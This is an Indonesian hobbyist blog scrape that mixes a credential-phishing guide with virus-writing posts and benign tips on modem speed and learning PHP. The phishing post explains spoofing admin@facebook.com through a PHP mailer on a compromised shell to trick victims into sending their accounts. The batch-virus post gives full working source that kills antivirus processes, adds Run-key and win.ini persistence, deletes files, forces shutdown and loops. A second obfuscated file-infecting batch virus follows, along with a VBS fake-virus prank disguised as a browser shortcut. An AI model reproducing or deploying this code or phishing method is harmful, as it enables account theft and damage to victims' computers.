agar si Target mau memberikan Accoutnya maka paling tidak kita harus bs meggunakan cloaking,atau teknik menyamar..
kita kirim e-mail ke korban dengan menggatas nama kan admin@facebook.com
tp bagaimana caranya?...xixix
inget bwt yg master tinggalin aj ya ini topik...
kita bikin PHP MAILER dr sini kita bs mengirim e mail atas nama siapa saja yg kita ingin kan...dan bahkan atas nama admin@facebook.com
cara bikinya mudah kok,
1. cari PHP SHELL, bs beli ato minta aj ke para master, inget PHP SHELL ya..
trus tinggal bikin PHP MAILER nya..untuk Scripnya sudah ak sediakan
di sini https://www.thinkfasttoys.com/images/M/mailer.txt
ubah mailer.txt menjadi mailer.php
nah sudah dech, tinggal isi kolom alamat e-mail target, isi, dari dan sub tentunya, kl bs yg isinya kita minta untuk mengirimkan account dy ke alamt e-mail kita..
setelh itu semua jadi, tingal cari taget dech...
untuk demostrasi,..

Mempercepat Koneksi Internet

Posted by Fatkhan
Tahukah kamu bahwa kecepatan koneksi internet dapat kamu tingkatkan dengan mengubah beberapa setting tertentu pada Windows. Walaupun sekarang sudah banyak software-software untuk mempercepat koneksi internet saya kira kamu tidak akan rugi untuk mengetahui cara mempercepat secara "manual" seperti yang tercantum di bawah ini:

Cara Pertama
Dari Control Panel, klik icon Modem. Pada kotak dialog Modem Properties, pilih modem yang akan diubah settingnya dan klik pada tombol Properties Pada tab General, ubah Maximum Speed menjadi 115200. Pindah ke tab Connection dan klik tombol Port Setting. Dari kotak dialog Advanced Port Setting, beri tanda check pada Use FIFO buffers. Kemudian ubah Receive Buffer menjadi 14 dan Transmit Buffer menjadi 16. Lalu klik OK. Klik button Advanced, beri tanda check pada Use Flow Control. Kemudian pilih radio button Hardware. Pada bagian Extra Setting, isi dengan &C1&D2E1Q0V1X4%C0 S7=55 S11=55 S0=0.

Cara Kedua
Dari Control Panel, klik icon System. Pindah ke tab Device Manager. Pada bagian Ports (COM & LPT), pilih port yang digunakan oleh modem Anda dan klik tombol Properties. Pindah ke tab Port Settings. Pada bagian Bits per second, isi dengan 921600.

Cara Ketiga
Buka file system.ini yang terletak di C:\Windows. Pada bagian [386Enh], tambahkan dengan COM1Buffer=16384. Ubah COM1 dengan port yang digunakan oleh modem.

Pemrograman Virus Batch

Posted by Fatkhan
Kali ini saya akan ajarkan sdikit bagaimana cara membuat virus batch. Dulu virus ini ngetren sekali (kira-kira tahun 90-an lah). Tapi sekarang ini saya jarang nemuin virus ini berkeliaran…

Virus batch dibuat di notepad dan disimpan dengan ekstensi ”.bat”. Ternyata selain virus VBS masih ada juga virus yang dibuat pake notepad. Yah salah satunya virus BAT (virus Batch).

Kalo kmu hidupkan file notepad kosong dengan ekstensi ”.bat”, yang muncul malah ”bla bla bla is not valid 32 application”
Itu artinya kita harus masukkan code virus ke dalam tubuh file bat itu.. he he he he….
Kali ini akan saya ajarkan kalian… tapi ingat saya tidak bertanggung jawab atas kecerobohan kalian…

Pertama sekali ketik:
@echo off

Yang itu memang mesti ditulis, supaya file tidak memunculkan seluruh command. Dan ini wajib (dianjurkan bozzz). Gak diketik begitu juga gak apa-apa sih sebenarnya…

Baru setelah itu kita ketik code-code virus lainnya… he he he

Ini contoh-contoh code-nya…

Untuk meng-kill process yang aktif:
Tskill AVGUARD

Perhatikan: untuk meng-kill process ketik ”tskill” lalu nama process-nya tapi tanpa ekstensi…
Contoh lain:
Tskill KAV

Untuk menghapus file:
del C:\Progra~1\Accessories\Ca
lc.EXE

Untuk menulis ke regedit:
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Morphix /t REG_SZ /d %systemroot%\Morphix.bat /f

Untuk menampilkan messagebox
Msg * “Tulis pesanmu disini”

Dan masih banyak lagi contoh-contohnya….
Langsung aja neh salah satu virus batch :

@ECHO OFF
copy %0 %systemroot%\Morphix.bat > nul
copy %0 *.bat > nul
Attrib +h *.bat
cls
tskill AVGUARD
tskill AVGNT
tskill NMAIN
tskill KAV
tskill ad-aware
tskill av*
tskill PCMAV
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Mophix /t REG_SZ /d %systemroot%\Morphix.bat /f > nul
cls
echo [windows] >> %systemroot%\win.ini
echo load=%systemroot%\Morphix.bat >> %systemroot%\win.ini
echo run=%systemroot%\Morphix.bat >> %systemroot%\win.ini
Attrib +h %systemroot%\win.ini
del C:\docume~\owner\Desktop
shutdown -s -t 15
msg * ”Karena sesuatu hal komputer ini harus di-shutdown… Ha ha ha”
cls
:Morphix
start %0
goto Morphix
::*Hanya untuk pembelajaran*

mau liat source batch yang lainnya???
Nih virus batch Rawut

@echo off
rem c0d3d by Vires @ palu city
rem If u wanna know how this worx
rem don’t follow the code from top to bottom
rem but follow the flow of code
rem is it beautiful???yes it is!!!!
rem vires18[at]yahoo[dot]com
rem (c)2007,Indonesia
rem Dedicated to my Girl:eltietien(did u knew her b 4???)
rem Greetz to all my friends
rem cyrus,bdhamas,sat_anichell,einstein2,wau^wau,the_g irl
rem xniffer, miyabi ,the_simpson,psycopath & all i forget
rem sorry!!!!!
goto v781i21r1212e23s4c5o677o85l
:n56a19m75a0101011
%res%%c00l% %gal%* %gal%bat
%l% pulangpalu
:t45e18g14a11l
%zhe% x=exe
%zhe% c=com
%zhe% fah=py
%l% v25i85r19e0s
:l08a80t19i85f08a19h
%zhe% sya=att
%zhe% gal=*.
%zhe% vi=fo
%sya%%res%%ah% %gal%* %s%
%zhe% ti=co
%l% t45e18g14a11l
:v25i85r19e0s
%zhe% d=txt
%zhe% la=do
%zhe% m=doc
%vi%%res% %%r %te% (%gal%%x% %gal%%c% %gal%%d% %gal%%m% %gal%%lgu%) %la% %ti%%fah% %0 “%%r”
%l% n56a19m75a0101011
:v18i17r16e15s
%zhe% s=-%vi%s -%vi%r -%vi%h
%zhe% res=r
%zhe% c00l=en
%l% l08a80t19i85f08a19h
:v781i21r1212e23s4c5o677o85l
set zhe=set
%zhe% te=in
%zhe% l=goto
%zhe% ah=ib
%zhe% lgu=mp3
%l% v18i17r16e15s
palucity
rem Heh,BATCH STILL BEAUTIFUL RIGHT????
rem (c)vires

Membuat Fake Virus Pada Mozilla & IE dengan VBS

Posted by Fatkhan
INI TIDAK MERUGIKAN KOMPUTER ANDA! heheheheh


di sini adalah mantranya (simpan sebagai mozilla.vbs ato internet explorer.vbs):

set WSHShell = WScript.CreateObject("WScript.Shell")
WSHShell.Run "iexplore.Exe"

On Error Resume Next

Set wshShell = wscript.CreateObject("WScript.Shell")
Dim Wsh

Set Wsh = WScript.CreateObject("WScript.Shell")
Set shell = CreateObject("Wscript.Shell")
Set objScriptExec = objShell.Exec("shutdown -a")
Set objShell = CreateObject("WScript.Shell")

wscript.Sleep 1000
Wsh.Run "Notepad.Exe", 1
Wscript.Sleep 900
Wshshell.Sendkeys "(Loading)"
Wscript.Sleep 125
Wshshell.Sendkeys "."
Wscript.Sleep 125
Wshshell.Sendkeys "."
Wscript.Sleep 125
Wshshell.Sendkeys "."
Wscript.Sleep 125
Wshshell.Sendkeys "{bs}"
Wscript.Sleep 125
Wshshell.Sendkeys "{bs}"
Wscript.Sleep 125
Wshshell.Sendkeys "{bs}"
Wscript.Sleep 125
Wshshell.Sendkeys "."
Wscript.Sleep 125
Wshshell.Sendkeys "."
Wscript.Sleep 125
Wshshell.Sendkeys "."
Wshshell.Sendkeys "{bs}"
Wscript.Sleep 125
Wshshell.Sendkeys "{bs}"
Wscript.Sleep 125
Wshshell.Sendkeys "{bs}"
Wscript.Sleep 125
Wshshell.Sendkeys "."
Wscript.Sleep 125
Wshshell.Sendkeys "."
Wscript.Sleep 125
Wshshell.Sendkeys "."
Wscript.Sleep 125
Wshshell.Sendkeys "{bs}"
Wscript.Sleep 125
Wshshell.Sendkeys "{bs}"
Wscript.Sleep 125
Wshshell.Sendkeys "{bs}"
Wscript.Sleep 800
Wshshell.Sendkeys "^a"
Wshshell.Sendkeys "{bs}"
Wshshell.Sendkeys "Virus Loaded"
Wscript.Sleep 900
Wshshell.Sendkeys "^a"
Wshshell.Sendkeys "{bs}"
Wshshell.Sendkeys "%{f4}"
Msgbox"Windows has detected a virus",16,"Virus detector"
Wscript.Sleep 900


sembunyikan shortcut mozila dan IE yg asli di suatu tempat, dan kemudian tulis kan script yang ada diatas menggunakan notepad simpan dengan *.VBS, trus buat shortcut yang terlihat seperti mozilla dan IE.
caranya :

klik kanan file *.VBS>properties> shortcut> change icon (ganti dengan icon mozilla ato IE)

Cara mudah belajar PHP

Sabtu, 21 November 2009
Posted by Fatkhan
Berikut cara belajar PHP seperti yang pernah dilakuan oleh penulis. Dan perlu diketahui, penulis tidak punya background pendidikan teknologi informasi. Begitu banyaknya resource di internet tentunya tidak sulit untuk memulai belajar sesuatu. Dan dengan adanya fasilitas pencarian yang bagus (google, yahoo) proses pembelajaran akan menjadi lebih mudah. Ditambah lagi blog-blog yang tumbuh subur dan dengan senang hati sharing ilmu.. belajar PHP sama mudahnya dengan berhitung satu dua tiga ( sampai 500 deh... becanda kok )

Silahkan simak tips belajar PHP menurut pengalaman penulis berikut resource-resource yang mendukung.

Hal yang patut digaris bawahi, belajar madiri lebih bagus daripada belajar seperti kalau kita kursus PHP. Dan kebanyakan orang yang pinter PHP bisa karena belajar mandiri. Tidak percaya? Silahkan adakan survey sendiri becanda kok.

1. akrabkan diri dengan HTML,
Walaupun Anda menggunakan PHP Anda tidak akan terlepas dari tag-tag HTML.
Berikut referensi berbahasa Indonesia yang bisa digunakan:
- http://www.webmaster-tutorial.com/tutorial/What_is_HTML/1/4
- http://www.freewebs.com/buatsite/buatsite02.htm
- http://unilanet.unila.ac.id/index.php?option=displaypage&Itemid=73&op=page&SubMenu=
- http://lecturer.eepis-its.edu/~riyanto/web1.html
- http://werbach.com/barebones/barebone_id.html

2. akrabkan diri aplikasi web authoring: dreamweaver, NVU dan kompozer portable
- tutorial dreamweaver
- kompozer, sebuah tool web authoring gratis mirip dreamweaver

3. perdalam HTML yang berhubungan dengan form,
Mengapa form? karena banyak transaksi di PHP nantinya menggunakan form, misalnya untuk memasukkan data ke dalam database
Referensi:
- http://werbach.com/barebones/barebone_id.html#forms

4. Berkenalan lebih dekat dengan PHP,
baca referensi ini :
- http://www.rumahweb.com/journal/berkenalan-dengan-php.htm
- http://www.rumahweb.com/journal/php-mysql-tutorial-dasar.htm
- ebook php

5. mengenal variabel-variabel PHP:
- http://phpug.freeservers.com/manual/variabel.htm

6. berkenalan dengan php dan form,
- form dan php
- membuat login form

7. bergabung dengan forum diskusi,
Berikut forum diskusi yang bisa diikuti:
- www.diskusiweb.com
- www.kaskus.us
- http://myquran.org/forum/

8. aktif di mailing list:
- milis PHPUG

9. jangan malu bertanya, japri lebih enak
Jangan ragu untuk memulai thread di forum dan coba kirim private message atau email privat ke orang yang Anda rasa bisa dimintai tolong

10. download PHP manual
- manual PHP berbahasa Inggris
- manual PHP berbahasa Indonesia , http://phpug.freeservers.com/

11. install webserver di komputer Anda
- install web dan database server di komputer Anda

12. menulis aplikasi sederhana
belajarlah menulis aplikasi sederhana, misal membuat hit counter, mencari bilangan prima atau lainnya.

13. tidak harus menghafal script
Syntax-syntax yang ada tidak harus dihafalkan. Tapi untuk difahami. Apabila lupa bisa melihat ke php manual. Atau siapkan contekan khusus syntax-syntax apa saja yang sering Anda gunakan.
- PHP cheat sheet

14. menginstall aplikasi sederhana
- Cara menginstal sNews CMS di local server
Atau cari script-script PHP dari www.hotscripts.com/php kemudian coba install di komputer lokal Anda
Resource lain ada di sini:
- referensi 10 situs penyedia resource PHP

15. mengedit aplikasi sederhana
Coba untuk mengedit script-script yang ada. Misalnya coba edit CMS sederhana misalnya sNews kemudian tambahkan mod yang tersedia di forumnya.

16. berkenalan dengan MySQL
- http://cs.uad.ac.id/riadi/2006/03/30/belajar-mysql/
- dasar-dasar php dan mysql pdf
- dasar pemrograman php dan mysql pdf

17. Daftar ke penyedia hosting gratis
daftar ke penyedia hosting gratis. Pilih yang tanpa banner dengan fasilitas PHP dan MySQL.
Pilih salah satu di sini:
- http://www.absolutely-free-hosting.com/free-php-hosting.php
- hosting gratis 2 minggu di rumahweb

18. Upload lewat FTP
- pdf cara upload lewat ftp
Anda bisa memeperoleh software ftp secara gratis di sini:
- http://www.filehippo.com/software/ftp/
kalau penulis menggunakan core ftp yang downloadnya di sini

19. jangan pernah puas, baca yang lebih banyak.
Gunakan google untuk mencari Semua hal ada di situ. Aktif di forum, milis, kalau perlu gabung dengan forum yang berbahasa inggris.Banyak yang Anda bisa dapat dari situ.